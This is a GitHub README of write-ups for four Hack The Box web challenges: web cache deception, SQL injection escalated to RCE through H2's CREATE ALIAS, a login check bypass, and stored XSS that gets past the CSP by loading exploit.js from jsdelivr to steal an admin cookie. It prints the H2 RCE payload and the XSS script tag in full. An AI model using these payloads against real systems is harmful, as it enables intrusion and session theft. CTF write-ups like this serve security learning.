- Notifications
You must be signed in to change notification settings - Fork0
cranix-ed/Writeup_HTBWebChallenge
Folders and files
Name | Name | Last commit message | Last commit date | |
---|---|---|---|---|
Repository files navigation
Write-up Web Challenge Hack The Box
Overview of the site have features:
- register a new account with username, password, email
- search user profile
We can see this web have api/register
and/profile
Let's see source code
Noteworthy is this config file
location ~* \.(css|js|png|jpg|jpeg|gif|ico|svg|woff|woff2|ttf|eot)$
a regex allow all url have static extension
proxy_cache cache; proxy_cache_valid 200 3m; ... add_header Cache-Control "public";
and cache them in 3m for anyone read public. We can think ofweb cache deception vulnerability
I have to test my hypothesis, api/profile
have profile of user and admin. I will request to serverGET /profile/test.css
, if response returned is 200, it means the information has been cached
If admin access/profile/test.css
, profile admin also cache. But how to make admin access?In folder bot have aroute.py
defined an api/visit
request to url, line 20 will callbot_thread()
method definedutils/bot.py
bot.py
will request to admin profile in server
So, i send request uriprofile/test.css
via api/visit
, uri will send tobot.py
and get profile admin
Response 200 mean profile admin has been leak
Get request toprofile/test.css
and done, receive flag
Overview site, some feature:
- register, login
- list pentest, notes
In page Note detail, we can see a parametername
Audit source, inNotesController.java
paramname
insert to query
This is SQL Injection vulnerability, we can insert query to leak data in database.
Test the above hypothesis
So, this web have SQL Injection, i will see schema of database to get data like table name, user. However, just NOTES table can access by query, and other tables can't get data
Like tableTABLE_PRIVILEGES
i select to column in table but response 500.File pom.xml in source code, a dependency is h2.database, that mean this challenge use H2 database. I tried searchvulnerability about H2 DB. This vulnerability about feature of database, build a ALIAS with java code to run shell in server. So, we can run java code via feature ALIAS of H2 database
I'm tried this payload, and we can pass parameter OS Command to RCE
SQLInjection' OR 1=0; CREATE ALIAS RCE AS 'Stringexecve(Stringcmd)throwsjava.io.IOException {Processprocess =Runtime.getRuntime().exec(cmd);java.io.InputStreaminputStream =process.getInputStream();java.io.FileOutputStreamfileOutputStream =newjava.io.FileOutputStream("/app/target/classes/static/hola.html");byte[]buffer =newbyte[1024];intbytesRead;while ((bytesRead =inputStream.read(buffer)) != -1) {fileOutputStream.write(buffer,0,bytesRead); }fileOutputStream.close();inputStream.close();return"Output written to /app/target/classes/static/hola.html"; }'; -- -
And now, we can call ALIAS and pass OS Command
This challenge just have feature signup, signin and token jwt for authentication
Let's audit source see if there is anything interesting
ProfileController.php
in folderapp
decode from token and getusername=administrator
will return flag
However, fileentrypoint.sh
, both JWT_SECRET and password has been defined random, which means it's almost impossible to fake admin token
InUserController.php
file have functionlogin()
, there is a piece of code that should notice
if (!count($json_data) ==2) {return$this->respond("Please provide username and password",404); }
This patch filter data login of user inclusion username, password.count($json_data)
return number of rows.
Supposecount($json_data)=2
=> !2=0(false) and 0 alway difference 2. That mean above condition incorrect. So, input data always bypass this patch, it'sAuthentication Vulnerability.
$query =$db->table("users")->getWhere($json_data,1,0);
This line of code get data fromusers
by $json_data condition. We can requestusername = administrator
, it's will bypass filter and get data with condition username = administrator
Just login with username, token admin will return
We have a website submit infomation for party

in fileroute/index.js
define 4 route
/
for render index
router.get('/',(req,res)=>{returnres.render('index.html');});
/api/submit
will post your input to server and store in database, then bot will run
router.post('/api/submit',(req,res)=>{const{ halloween_name, email, costume_type, trick_or_treat}=req.body;if(halloween_name&&email&&costume_type&&trick_or_treat){returndb.party_request_add(halloween_name,email,costume_type,trick_or_treat).then(()=>{res.send(response('Your request will be reviewed by our team!'));bot.visit();}).catch(()=>res.send(response('Something Went Wrong!')));}returnres.status(401).send(response('Please fill out all the required fields!'));});
/admin
checking the role is admin, then get all request party are info you did send and render toadmin.html
router.get('/admin',AuthMiddleware,(req,res)=>{if(req.user.user_role!=='admin'){returnres.status(401).send(response('Unautorized!'));}returndb.get_party_requests().then((data)=>{res.render('admin.html',{requests:data});});});
/admin/delete_all
delete all request you send
router.get('/admin/delete_all',AuthMiddleware,(req,res)=>{if(req.user.user_role!=='admin'){returnres.status(401).send(response('Unautorized!'));}returndb.remove_requests().then(()=>res.send(response('All records are deleted!')));})
In file bot.js, it will start browser in local, create token cookie with flag contain there. Then access to/admin
, this will show all request you send.
constvisit=async()=>{try{constbrowser=awaitpuppeteer.launch(browser_options);letcontext=awaitbrowser.createIncognitoBrowserContext();letpage=awaitcontext.newPage();lettoken=awaitJWTHelper.sign({username:'admin',user_role:'admin',flag:flag});awaitpage.setCookie({name:'session',value:token,domain:'127.0.0.1:1337'});awaitpage.goto('http://127.0.0.1:1337/admin',{waitUntil:'networkidle2',timeout:5000});awaitpage.goto('http://127.0.0.1:1337/admin/delete_all',{waitUntil:'networkidle2',timeout:5000});setTimeout(()=>{browser.close();},5000);}catch(e){console.log(e);}};
and admin.html will render your input. So, we can send script XSS to get cookie on feildhalloween_name
, bot will accessadmin
to render your payload attachment token with flag
{{ request.halloween_name | safe }}
But CSP had block src otherself
andhttps://cdn.jsdelivr.net
"Content-Security-Policy", "script-src 'self' https://cdn.jsdelivr.net ; style-src 'self' https://fonts.googleapis.com; img-src 'self'; font-src 'self' https://fonts.gstatic.com; child-src 'self'; frame-src 'self'; worker-src 'self'; frame-ancestors 'self'; form-action 'self'; base-uri 'self'; manifest-src 'self'"
Searching a little, i did find this blogbypass csp jsdelivrThis CDN allow access to any source, also you can host your repo to this, very easy.
Step by step:
- Create public repo with your payload xss
- Host your repo with pattern
https://cdn.jsdelivr.net/gh/<user>/<repo>@<commit>/<path/to/file>
- Send payload via field
halloween_name
, ex:<script src="https://cdn.jsdelivr.net/gh/cranix-ed/paylaod@5b45c259f58f4a8d75defb7b63089178d41c2bb0/exploit.js"></script>
- Resolve token and get flag



About
Resources
Uh oh!
There was an error while loading.Please reload this page.